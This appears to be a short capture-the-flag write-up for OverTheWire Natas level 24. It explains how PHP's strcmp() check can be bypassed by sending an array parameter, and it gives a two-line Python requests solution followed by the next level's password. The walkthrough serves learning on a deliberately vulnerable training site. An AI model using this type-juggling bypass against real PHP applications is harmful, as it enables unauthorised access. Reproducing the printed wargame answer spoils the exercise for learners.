Writeups OverTheWireNatasWebPHPType Juggling

Natas 24 Writeup - OverTheWire

Writeup for Natas level 24 from OverTheWire: bypassing strcmp() with an array.

Contents

Wargame: Natas

Level: 24

Category: Web Security

Description

The check is strcmp($_REQUEST["passwd"], $secret) == 0. In older PHP versions, passing an array instead of a string to strcmp returns NULL, and NULL == 0 is true.

Overview

Solution

response = requests.get(url, auth=("natas24", current_password), params={"passwd[]": ""})
result = re.search(r"The password for natas25 is (.*)", response.text).group(1).strip()

Password

O9QD9DZBDq1YpswiTM5oqMDaOtuZtAcx

← Back to Blog